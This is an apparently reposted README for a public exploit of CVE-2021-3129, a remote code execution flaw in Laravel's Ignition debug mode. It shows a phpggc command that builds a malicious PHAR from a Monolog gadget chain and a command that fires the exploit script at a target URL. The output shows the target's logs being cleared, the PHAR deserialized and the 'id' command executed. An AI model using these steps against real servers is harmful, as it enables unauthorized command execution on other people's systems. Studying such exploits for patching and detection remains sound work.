code-scan starred laravel-exploits
2021-10-25 20:31:11 Author: github.com(查看原文) 阅读量:48 收藏

Exploit for CVE-2021-3129 Details: https://www.ambionics.io/blog/laravel-debug-rce

$ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id 
$ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar
Log file: /work/pentest/laravel/laravel/storage/logs/laravel.log
Logs cleared
Successfully converted to PHAR !
Phar deserialized
--------------------------
uid=1000(cf) gid=1000(cf) ...
--------------------------
Logs cleared

文章来源: https://github.com/ambionics/laravel-exploits
如有侵权请联系:admin#unsafe.sh